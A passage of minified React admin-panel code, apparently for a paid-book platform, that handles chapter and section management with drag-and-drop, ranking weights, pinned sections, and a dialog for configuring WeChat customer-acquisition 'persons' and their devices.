w-full",children:[s.jsxs("div",{draggable:!0,onDragStart:V=>{V.stopPropagation(),V.dataTransfer.setData("text/plain","chapter:"+J.id),V.dataTransfer.effectAllowed="move",k({type:"chapter",id:J.id})},onDragEnd:()=>{k(null),E(null)},onDragEnter:V=>{V.preventDefault(),V.stopPropagation(),V.dataTransfer.dropEffect="move",E({type:"chapter",id:J.id})},onDragOver:V=>{V.preventDefault(),V.stopPropagation(),V.dataTransfer.dropEffect="move",E({type:"chapter",id:J.id})},onDragLeave:()=>E(null),onDrop:V=>{E(null);const re=Ng(V.dataTransfer.getData("text/plain"));if(!re)return;const ue={partId:z.id,partTitle:z.title,chapterId:J.id,chapterTitle:J.title};(re.type==="section"||re.type==="chapter")&&L(V,"chapter",J.id,ue)},className:`flex-1 min-w-0 py-2 px-2 rounded cursor-grab active:cursor-grabbing select-none -mx-2 transition-all duration-200 flex items-center gap-2 ${Y?"bg-[#38bdac]/15 ring-1 ring-[#38bdac]/50":""} ${T("chapter",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":"hover:bg-[#162840]/30"}`,children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),s.jsx("p",{className:"text-xs text-gray-500 pb-1 flex-1",children:J.title})]}),s.jsxs("div",{className:"flex gap-0.5 shrink-0",onClick:V=>V.stopPropagation(),children:[m&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>m(z,J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑章节名称",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),c&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>c(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"新增第X章",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),u&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>u(z,J),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",title:"删除本章",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx("div",{className:"space-y-1 pl-2",children:J.sections.map(V=>{const re=I("section",V.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+V.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:V.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between py-2 px-3 rounded-lg group cursor-grab active:cursor-grabbing select-none min-h-[40px] transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",V.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac] shadow-lg":"hover:bg-[#162840]/50"}`,...R("section",V.id,{partId:z.id,partTitle:z.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0 flex-1",children:[y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(V.id),onChange:()=>y(V.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),s.jsx("div",{className:`w-2 h-2 rounded-full shrink-0 ${V.price===0||V.isFree?"border-2 border-[#38bdac] bg-transparent":"bg-gray-500"}`}),s.jsxs("span",{className:"text-sm text-gray-200 truncate",children:[V.id," ",V.title]}),w.includes(V.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:ue=>ue.stopPropagation(),onClick:ue=>ue.stopPropagation(),children:[V.isNew&&s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"NEW"}),V.price===0||V.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",V.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",title:"点击次数 · 付款笔数",children:["点击 ",V.clickCount??0," · 付款 ",V.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(V.hotScore??0).toFixed(1)," · 第",V.hotRank&&V.hotRank>0?V.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(V),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5 shrink-0",children:"付款记录"}),s.jsxs("div",{className:"flex gap-0.5 opacity-0 group-hover:opacity-100 transition-opacity",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(V),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(V),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},V.id)})})]},J.id)})})]},z.id)})})}function iV(t){var a;const e=new URLSearchParams;e.set("page",String(t.page)),e.set("limit",String(t.limit)),(a=t==null?void 0:t.keyword)!=null&&a.trim()&&e.set("keyword",t.keyword.trim());const n=e.toString(),r=n?`/api/admin/ckb/devices?${n}`:"/api/admin/ckb/devices";return De(r)}function oV(t){return De(`/api/db/person?personId=${encodeURIComponent(t)}`)}const $4=11,bw={personId:"",name:"",label:"",sceneId:$4,ckbApiKey:"",greeting:"你好,请通过",tips:"请注意消息,稍后加你微信",remarkType:"phone",remarkFormat:"",addFriendInterval:1,startTime:"09:00",endTime:"18:00",deviceGroups:""};function lV({open:t,onOpenChange:e,editingPerson:n,onSubmit:r}){const a=!!n,[i,o]=b.useState(bw),[c,u]=b.useState(!1),[h,f]=b.useState(!1),[m,g]=b.useState([]),[y,N]=b.useState(!1),[w,v]=b.useState(""),[k,C]=b.useState({});b.useEffect(()=>{t&&(v(""),o(n?{personId:n.personId??n.name??"",name:n.name??"",label:n.label??"",sceneId:$4,ckbApiKey:n.ckbApiKey??"",greeting:"你好,请通过",tips:"请注意消息,稍后加你微信",remarkType:n.remarkType??"phone",remarkFormat:n.remarkFormat??"",addFriendInterval:n.addFriendInterval??1,startTime:n.startTime??"09:00",endTime:n.endTime??"18:00",deviceGroups:n.deviceGroups??""}:{...bw}),C({}),m.length===0&&E(""))},[t,n]);const E=async I=>{N(!0);try{const O=await iV({page:1,limit:50,keyword:I});O!=null&&O.success&&Array.isArray(O.devices)?g(O.devices):O!=null&&O.error&&ie.error(O.error)}catch(O){ie.error(O instanceof Error?O.message:"加载设备列表失败")}finally{N(!1)}},T=async()=>{var R;const I={};(!i.name||!String(i.name).trim())&&(I.name="请填写名称");const O=i.addFriendInterval;if((typeof O!="number"||O<1)&&(I.addFriendInterval="添加间隔至少为 1 分钟"),(((R=i.deviceGroups)==null?void 0:R.split(",").map(D=>D.trim()).filter(Boolean))??[]).length===0&&(I.deviceGroups="请至少选择 1 台设备"),C(I),Object.keys(I).length>0){ie.error(I.name||I.addFriendInterval||I.deviceGroups||"请完善必填项");return}u(!0);try{await r(i),e(!1)}catch(D){ie.error(D instanceof Error?D.message:"保存失败")}finally{u(!1)}};return s.jsx(Dt,{open:t,onOpenChange:e,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-4xl max-h-[90vh] overflow-y-auto",children:[s.jsxs(Lt,{children:[s.jsx(_t,{className:"text-[#38bdac]",children:a?"编辑人物":"添加人物 — 存客宝 API 获客"}),s.jsx(yf,{className:"text-gray-400 text-sm",children:a?"修改后同步到存客宝计划":"添加时自动生成 token,并同步创建存客宝场景获客计划"})]}),s.jsxs("div",{className:"space-y-6 py-2",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-xs font-medium text-gray-400 uppercase tracking-wider mb-3",children:"基础信息"}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsxs(X,{className:"text-gray-400 text-xs",children:["名称 ",s.jsx("span",{className:"text-red-400",children:"*"})]}),s.jsx(se,{className:`bg-[#0a1628] text-white ${k.name?"border-red-500 focus-visible:ring-red-500":"border-gray-700"}`,placeholder:"如 卡若",value:i.name,onChange:I=>{o(O=>({...O,name:I.target.value})),k.name&&C(O=>({...O,name:void 0}))}}),k.name&&s.jsx("p",{className:"text-xs text-red-400",children:k.name})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"人物ID(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"自动生成",value:i.personId,onChange:I=>o(O=>({...O,personId:I.target.value})),disabled:a})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"标签(身份/角色)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 超级个体",value:i.label,onChange:I=>o(O=>({...O,label:I.target.value}))})]})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-5",children:[s.jsx("p",{className:"text-xs font-medium text-gray-400 uppercase tracking-wider mb-4",children:"存客宝 API 获客配置"}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-8 gap-y-4",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"存客宝密钥(计划 apiKey)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"创建计划成功后自动回填,不可手动修改",value:i.ckbApiKey,readOnly:!0}),s.jsx("p",{className:"text-xs text-gray-500",children:"由存客宝计划详情接口返回的 apiKey,用于小程序 @人物 时推送到对应获客计划。"})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsxs(X,{className:"text-gray-400 text-xs",children:["选择设备 ",s.jsx("span",{className:"text-red-400",children:"*"})]}),s.jsxs("div",{className:`flex gap-2 rounded-md border ${k.deviceGroups?"border-red-500":"border-gray-700"}`,children:[s.jsx(se,{className:"bg-[#0a1628] border-0 text-white focus-visible:ring-0 focus-visible:ring-offset-0",placeholder:"未选择设备",readOnly:!0,value:i.deviceGroups?`已选择 ${i.deviceGroups.split(",").filter(Boolean).length} 个设备`:"",onClick:()=>f(!0)}),s.jsx(te,{type:"button",variant:"outline",className:"border-0 border-l border-inherit rounded-r-md text-gray-200",onClick:()=>f(!0),children:"选择"})]}),k.deviceGroups?s.jsx("p",{className:"text-xs text-red-400",children:k.deviceGroups}):s.jsx("p",{className:"text-xs text-gray-500",children:"从存客宝设备列表中选择,至少选择 1 台设备参与获客计划。"})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"好友备注"}),s.jsxs(hl,{value:i.remarkType,onValueChange:I=>o(O=>({...O,remarkType:I})),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择备注类型"})}),s.jsxs(ro,{children:[s.jsx(_r,{value:"phone",children:"手机号"}),s.jsx(_r,{value:"nickname",children:"昵称"}),s.jsx(_r,{value:"source",children:"来源"})]})]})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"备注格式"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 手机号+SOUL链接人与事-{名称},留空用默认",value:i.remarkFormat,onChange:I=>o(O=>({...O,remarkFormat:I.target.value}))})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"打招呼语"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"你好,请通过",value:i.greeting,onChange:I=>o(O=>({...O,greeting:I.target.value}))})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"添加间隔(分钟)"}),s.jsx(se,{type:"number",min:1,className:`bg-[#0a1628] text-white ${k.addFriendInterval?"border-red-500 focus-visible:ring-red-500":"border-gray-700"}`,value:i.addFriendInterval,onChange:I=>{o(O=>({...O,addFriendInterval:Number(I.target.value)||1})),k.addFriendInterval&&C(O=>({...O,addFriendInterval:void 0}))}}),k.addFriendInterval&&s.jsx("p",{className:"text-xs text-red-400",children:k.addFriendInterval})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"允许加人时间段"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{type:"time",className:"bg-[#0a1628] border-gray-700 text-white w-24",value:i.startTime,onChange:I=>o(O=>({...O,startTime:I.target.value}))}),s.jsx("span",{className:"text-gray-500 text-sm shrink-0",children:"至"}),s.jsx(se,{type:"time",className:"bg-[#0a1628] border-gray-700 text-white w-24",value:i.endTime,onChange:I=>o(O=>({...O,endTime:I.target.value}))})]})]})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"获客成功提示"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[72px] resize-none",placeholder:"请注意消息,稍后加你微信",value:i.tips,onChange:I=>o(O=>({...O,tips:I.target.value}))})]})]})]})]})]}),s.jsxs(on,{className:"gap-3 pt-2",children:[s.jsx(te,{variant:"outline",onClick:()=>e(!1),className:"border-gray-600 text-gray-300",children:"取消"}),s.jsx(te,{onClick:T,disabled:c,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:c?"保存中...":a?"保存":"添加"})]}),h&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",children:s.jsxs("div",{className:"w-full max-w-3xl max-h-[80vh] bg-[#0b1828] border border-gray-700 rounded-xl shadow-xl flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3 border-b border-gray-700/60",children:[s.jsxs("div",{children:[s.jsx("h3",{className:"text-sm font-medium text-white",children:"选择设备"}),s.jsx("p",{className:"text-xs text-gray-400 mt-0.5",children:"勾选需要参与本计划的设备,可多选"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{className:"bg-[#050c18] border-gray-700 text-white h-8 w-52",placeholder:"搜索备注/微信号/IMEI",value:w,onChange:I=>v(I.target.value),onKeyDown:I=>{I.key==="Enter"&&E(w)}}),s.jsx(te,{type:"button",size:"sm",variant:"outline",className:"border-gray-600 text-gray-200 h-8",onClick:()=>E(w),disabled:y,children:"刷新"}),s.jsx(te,{type:"button",size:"icon",variant:"outline",className:"border-gray-600 text-gray-300 h-8 w-8",onClick:()=>f(!1),children:"✕"})]})]}),s.jsx("div",{className:"flex-1 overflow-y-auto",children:y?s.jsx("div",{className:"flex h-full items-center justify-center text-gray-400 text-sm",children:"正在加载设备列表…"}):m.length===0?s.jsx("div",{className:"flex h-full items-center justify-center text-gray-500 text-sm",children:"暂无设备数据,请检查存客宝账号与开放 API 配置"}):s.jsx("div",{className:"p-4 space-y-2",children:m.map(I=>{const O=String(I.id??""),L=i.deviceGroups?i.deviceGroups.split(",").map(z=>z.trim()).filter(Boolean):[],R=L.includes(O),D=()=>{let z;R?z=L.filter(Z=>Z!==O):z=[...L,O],o(Z=>({...Z,deviceGroups:z.join(",")})),z.length>0&&C(Z=>({...Z,deviceGroups:void 0}))};return s.jsxs("label",{className:"flex items-center gap-3 rounded-lg border border-gray-700/60 bg-[#050c18] px-3 py-2 cursor-pointer hover:border-[#38bdac]/70",children:[s.jsx("input",{type:"checkbox",className:"h-4 w-4 accent-[#38bdac]",checked:R,onChange:D}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-sm text-white truncate max-w-xs",children:I.memo||I.wechatId||`设备 ${O}`}),I.status==="online"&&s.jsx("span",{className:"rounded-full bg-emerald-500/20 text-emerald-400 text-[11px] px-2 py-0.5",children:"在线"}),I.status==="offline"&&s.jsx("span",{className:"rounded-full bg-gray-600/20 text-gray-400 text-[11px] px-2 py-0.5",children:"离线"})]}),s.jsxs("div",{className:"text-[11px] text-gray-400 mt-0.5",children:[s.jsxs("span",{className:"mr-3",children:["ID: ",O]}),I.wechatId&&s.jsxs("span",{className:"mr-3",children:["微信号: ",I.wechatId]}),typeof I.totalFriend=="number"&&s.jsxs("span",{children:["好友数: ",I.totalFriend]})]})]})]},O)})})}),s.jsxs("div",{className:"flex justify-between items-center px-5 py-3 border-t border-gray-700/60",children:[s.jsxs("span",{className:"text-xs text-gray-400",children:["已选择"," ",i.deviceGroups?i.deviceGroups.split(",").filter(Boolean).length:0," ","台设备"]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{type:"button",variant:"outline",className:"border-gray-600 text-gray-200 h-8 px-4",onClick:()=>f(!1),children:"取消"}),s.jsx(te,{type:"button",className:"bg-[#38bdac] hover:bg-[#2da396] text-white h-8 px-4",onClick:()=>f(!1),children:"确定"})]})]})]})})]})})}function cV(t){const e=new Map;for(const a of t){const i=a.partId||"part-1",o=a.partTitle||"未分类",c=a.chapterId||"chapter-1",u=a.chapterTitle||"未分类";e.has(i)||e.set(i,{id:i,title:o,chapters:new Map});const h=e.get(i);h.chapters.has(c)||h.chapters.set(c,{id:c,title:u,sections:[]}),h.chapters.get(c).sections.push({id:a.id,mid:a.mid,title:a.title,price:a.price??1,filePath:a.filePath,isFree:a.isFree,isNew:a.isNew,clickCount:a.clickCount??0,payCount:a.payCount??0,hotScore:a.hotScore??0,hotRank:a.hotRank??0})}const n=Array.from(e.values()).map(a=>({...a,chapters:Array.from(a.chapters.values())})),r=a=>a.title.includes("序言")?0:a.id==="part-2026-daily"?1.5:a.title.includes("附录")?2:a.title.includes("尾声")?3:1;return n.sort((a,i)=>{const o=r(a),c=r(i);return o!==c?o-c:0})}function dV(){var Kl,ql,Oo;const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState([]),[o,c]=b.useState(null),[u,h]=b.useState(!1),[f,m]=b.useState(!1),[g,y]=b.useState(!1),[N,w]=b.useState(""),[v,k]=b.useState([]),[C,E]=b.useState(!1),[T,I]=b.useState({id:"",title:"",price:1,partId:"part-1",chapterId:"chapter-1",content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),[O,L]=b.useState(null),[R,D]=b.useState(!1),[z,Z]=b.useState(!1),[ne,fe]=b.useState(null),[xe,$]=b.useState(!1),[H,oe]=b.useState([]),[P,q]=b.useState(!1),[B,_]=b.useState(""),[W,le]=b.useState(""),[J,Y]=b.useState(!1),[V,re]=b.useState(""),[ue,ce]=b.useState(!1),[ye,Re]=b.useState(null),[Le,lt]=b.useState(!1),[Tt,ln]=b.useState(!1),[yt,nn]=b.useState({readWeight:.5,recencyWeight:.3,payWeight:.2}),[In,Mt]=b.useState(!1),[Yt,rn]=b.useState(!1),[Rn,pr]=b.useState(1),[Pn,Hn]=b.useState([]),[K,Ue]=b.useState(!1),[Je,xt]=b.useState([]),[ct,nt]=b.useState(!1),[gt,Rt]=b.useState(20),[gn,mr]=b.useState(!1),[wr,As]=b.useState(!1),[Wr,Is]=b.useState([]),[pe,ge]=b.useState([]),[Pt,On]=b.useState(!1),[Qs,Xs]=b.useState(null),[Wn,Zs]=b.useState(null),[ft,xn]=b.useState({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""}),[Ur,Ir]=b.useState(null),ds=b.useRef(null),Dn=cV(t),us=t.length,hs=10,Rs=Math.max(1,Math.ceil(Pn.length/hs)),Ma=Pn.slice((Rn-1)*hs,Rn*hs),er=async()=>{r(!0);try{const M=await De("/api/db/book?action=list",{cache:"no-store"});e(Array.isArray(M==null?void 0:M.sections)?M.sections:[])}catch(M){console.error(M),e([])}finally{r(!1)}},Kr=async()=>{Ue(!0);try{const M=await De("/api/db/book?action=ranking",{cache:"no-store"}),Q=Array.isArray(M==null?void 0:M.sections)?M.sections:[];Hn(Q);const me=Q.filter(Ne=>Ne.isPinned).map(Ne=>Ne.id);xt(me)}catch(M){console.error(M),Hn([])}finally{Ue(!1)}};b.useEffect(()=>{er(),Kr()},[]);const ea=M=>{i(Q=>Q.includes(M)?Q.filter(me=>me!==M):[...Q,M])},Rr=b.useCallback(M=>{const Q=t,me=M.flatMap(Ne=>{const st=Q.find(mt=>mt.id===Ne.id);return st?[{...st,partId:Ne.partId,partTitle:Ne.partTitle,chapterId:Ne.chapterId,chapterTitle:Ne.chapterTitle}]:[]});return e(me),zt("/api/db/book",{action:"reorder",items:M}).then(Ne=>{Ne&&Ne.success===!1&&(e(Q),ie.error("排序失败: "+(Ne&&typeof Ne=="object"&&"error"in Ne?Ne.error:"未知错误")))}).catch(Ne=>{e(Q),console.error("排序失败:",Ne),ie.error("排序失败: "+(Ne instanceof Error?Ne.message:"网络或服务异常"))}),Promise.resolve()},[t]),Pi=async M=>{if(confirm(`确定要删除章节「${M.title}」吗?此操作不可恢复。`))try{const Q=await Bs(`/api/db/book?id=${encodeURIComponent(M.id)}`);Q&&Q.success!==!1?(ie.success("已删除"),er(),Kr()):ie.error("删除失败: "+(Q&&typeof Q=="object"&&"error"in Q?Q.error:"未知错误"))}catch(Q){console.error(Q),ie.error("删除失败")}},Aa=b.useCallback(async()=>{Mt(!0);try{const M=await De("/api/db/config/full?key=article_ranking_weights",{cache:"no-store"}),Q=M&&M.data;Q&&typeof Q.readWeight=="number"&&typeof Q.recencyWeight=="number"&&typeof Q.payWeight=="number"&&nn({readWeight:Math.max(0,Math.min(1,Q.readWeight)),recencyWeight:Math.max(0,Math.min(1,Q.recencyWeight)),payWeight:Math.max(0,Math.min(1,Q.payWeight))})}catch{}finally{Mt(!1)}},[]);b.useEffect(()=>{Tt&&Aa()},[Tt,Aa]);const Ro=async()=>{const{readWeight:M,recencyWeight:Q,payWeight:me}=yt,Ne=M+Q+me;if(Math.abs(Ne-1)>.001){ie.error("三个权重之和必须等于 1");return}rn(!0);try{const st=await vt("/api/db/config",{key:"article_ranking_weights",value:{readWeight:M,recencyWeight:Q,payWeight:me},description:"文章排名算法权重"});st&&st.success!==!1?(ie.success("排名权重已保存"),ln(!1),er(),Kr()):ie.error("保存失败: "+(st&&typeof st=="object"&&"error"in st?st.error:""))}catch(st){console.error(st),ie.error("保存失败")}finally{rn(!1)}},Ia=b.useCallback(async()=>{nt(!0);try{const M=await De("/api/db/config/full?key=pinned_section_ids",{cache:"no-store"}),Q=M&&M.data;Array.isArray(Q)&&xt(Q)}catch{}finally{nt(!1)}},[]),qr=b.useCallback(async()=>{try{const M=await De("/api/db/persons");M!=null&&M.success&&M.persons&&Is(M.persons.map(Q=>{const me=Q.deviceGroups,Ne=Array.isArray(me)?me.join(","):me??"";return{id:Q.token??Q.personId??"",personId:Q.personId,name:Q.name,label:Q.label??"",ckbApiKey:Q.ckbApiKey??"",ckbPlanId:Q.ckbPlanId,remarkType:Q.remarkType,remarkFormat:Q.remarkFormat,addFriendInterval:Q.addFriendInterval,startTime:Q.startTime,endTime:Q.endTime,deviceGroups:Ne}}))}catch{}},[]),Gr=b.useCallback(async()=>{try{const M=await De("/api/db/link-tags");M!=null&&M.success&&M.linkTags&&ge(M.linkTags.map(Q=>({id:Q.tagId,label:Q.label,url:Q.url,type:Q.type||"url",appId:Q.appId||"",pagePath:Q.pagePath||""})))}catch{}},[]),[Ra,Hl]=b.useState([]),[ta,Ot]=b.useState(""),[Oi,fs]=b.useState(!1),Di=b.useRef(null),Ps=b.useCallback(async()=>{try{const M=await De("/api/admin/linked-miniprograms");M!=null&&M.success&&Array.isArray(M.data)&&Hl(M.data.map(Q=>({...Q,key:Q.key})))}catch{}},[]),Li=Ra.filter(M=>!ta.trim()||M.name.toLowerCase().includes(ta.toLowerCase())||M.key&&M.key.toLowerCase().includes(ta.toLowerCase())||M.appId.toLowerCase().includes(ta.toLowerCase())),Pa=async M=>{const Q=Je.includes(M)?Je.filter(me=>me!==M):[...Je,M];xt(Q);try{await vt("/api/db/config",{key:"pinned_section_ids",value:Q,description:"强制置顶章节ID列表(精选推荐/首页最新更新)"}),Kr()}catch{xt(Je)}},U=b.useCallback(async()=>{mr(!0);try{const M=await De("/api/db/config/full?key=unpaid_preview_percent",{cache:"no-store"}),Q=M&&M.data;typeof Q=="number"&&Q>0&&Q<=100&&Rt(Q)}catch{}finally{mr(!1)}},[]),Pe=async()=>{if(gt<1||gt>100){ie.error("预览比例需在 1~100 之间");return}As(!0);try{const M=await vt("/api/db/config",{key:"unpaid_preview_percent",value:gt,description:"小程序未付费内容默认预览比例(%)"});M&&M.success!==!1?ie.success("预览比例已保存"):ie.error("保存失败: "+(M.error||""))}catch{ie.error("保存失败")}finally{As(!1)}};b.useEffect(()=>{Ia(),U(),qr(),Gr(),Ps()},[Ia,U,qr,Gr,Ps]);const Ve=async M=>{Re({section:M,orders:[]}),lt(!0);try{const Q=await De(`/api/db/book?action=section-orders&id=${encodeURIComponent(M.id)}`),me=Q!=null&&Q.success&&Array.isArray(Q.orders)?Q.orders:[];Re(Ne=>Ne?{...Ne,orders:me}:null)}catch(Q){console.error(Q),Re(me=>me?{...me,orders:[]}:null)}finally{lt(!1)}},Ge=async M=>{m(!0);try{const Q=M.mid!=null&&M.mid>0?`/api/db/book?action=read&mid=${M.mid}`:`/api/db/book?action=read&id=${encodeURIComponent(M.id)}`,me=await De(Q);if(me!=null&&me.success&&me.section){const Ne=me.section,st=Ne.editionPremium===!0;c({id:M.id,originalId:M.id,title:me.section.title??M.title,price:me.section.price??M.price,content:me.section.content??"",filePath:M.filePath,isFree:M.isFree||M.price===0,isNew:Ne.isNew??M.isNew,isPinned:Je.includes(M.id),hotScore:M.hotScore??0,editionStandard:st?!1:Ne.editionStandard??!0,editionPremium:st})}else c({id:M.id,originalId:M.id,title:M.title,price:M.price,content:"",filePath:M.filePath,isFree:M.isFree,isNew:M.isNew,isPinned:Je.includes(M.id),hotScore:M.hotScore??0,editionStandard:!0,editionPremium:!1}),me&&!me.success&&ie.error("无法读取文件内容: "+(me.error||"未知错误"))}catch(Q){console.error(Q),c({id:M.id,title:M.title,price:M.price,content:"",filePath:M.filePath,isFree:M.isFree})}finally{m(!1)}},Nn=async()=>{var M;if(o){y(!0);try{let Q=o.content||"";const me=[new RegExp(`^#+\\s*${o.id.replace(".","\\.")}\\s+.*$`,"gm"),new RegExp(`^#+\\s*${o.id.replace(".","\\.")}[::].*$`,"gm"),new RegExp(`^#\\s+.*${(M=o.title)==null?void 0:M.slice(0,10).replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}.*$`,"gm")];for(const cn of me)Q=Q.replace(cn,"");Q=Q.replace(/^\s*\n+/,"").trim();const Ne=o.originalId||o.id,st=o.id!==Ne,mt=await zt("/api/db/book",{id:Ne,...st?{newId:o.id}:{},title:o.title,price:o.isFree?0:o.price,content:Q,isFree:o.isFree||o.price===0,isNew:o.isNew,hotScore:o.hotScore,editionStandard:o.editionPremium?!1:o.editionStandard??!0,editionPremium:o.editionPremium??!1,saveToFile:!0},{timeout:Hv}),Bt=st?o.id:Ne;o.isPinned!==Je.includes(Bt)&&await Pa(Bt),mt&&mt.success!==!1?(ie.success(`已保存:${o.title}`),c(null),er(),qr(),Gr()):ie.error("保存失败: "+(mt&&typeof mt=="object"&&"error"in mt?mt.error:"未知错误"))}catch(Q){console.error(Q);const me=Q instanceof Error&&Q.name==="AbortError"?"保存超时,请检查网络或稍后重试":"保存失败";ie.error(me)}finally{y(!1)}}},gr=async()=>{if(!T.id||!T.title){ie.error("请填写章节ID和标题");return}y(!0);try{const M=Dn.find(Ne=>Ne.id===T.partId),Q=M==null?void 0:M.chapters.find(Ne=>Ne.id===T.chapterId),me=await zt("/api/db/book",{id:T.id,title:T.title,price:T.isFree?0:T.price,content:T.content||"",partId:T.partId,partTitle:(M==null?void 0:M.title)??"",chapterId:T.chapterId,chapterTitle:(Q==null?void 0:Q.title)??"",isFree:T.isFree,isNew:T.isNew,editionStandard:T.editionPremium?!1:T.editionStandard??!0,editionPremium:T.editionPremium??!1,hotScore:T.hotScore??0,saveToFile:!1},{timeout:Hv});if(me&&me.success!==!1){if(T.isPinned){const Ne=[...Je,T.id];xt(Ne);try{await vt("/api/db/config",{key:"pinned_section_ids",value:Ne,description:"强制置顶章节ID列表(精选推荐/首页最新更新)"})}catch{}}ie.success(`章节创建成功:${T.title}`),h(!1),I({id:"",title:"",price:1,partId:"part-1",chapterId:"chapter-1",content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),er(),qr(),Gr()}else ie.error("创建失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(M){console.error(M),ie.error("创建失败")}finally{y(!1)}},Po=M=>{I(Q=>{var me;return{...Q,partId:M.id,chapterId:((me=M.chapters[0])==null?void 0:me.id)??"chapter-1"}}),h(!0)},Qt=M=>{L({id:M.id,title:M.title})},Un=async()=>{var M;if((M=O==null?void 0:O.title)!=null&&M.trim()){D(!0);try{const Q=t.map(Ne=>({id:Ne.id,partId:Ne.partId||"part-1",partTitle:Ne.partId===O.id?O.title.trim():Ne.partTitle||"",chapterId:Ne.chapterId||"chapter-1",chapterTitle:Ne.chapterTitle||""})),me=await zt("/api/db/book",{action:"reorder",items:Q});if(me&&me.success!==!1){const 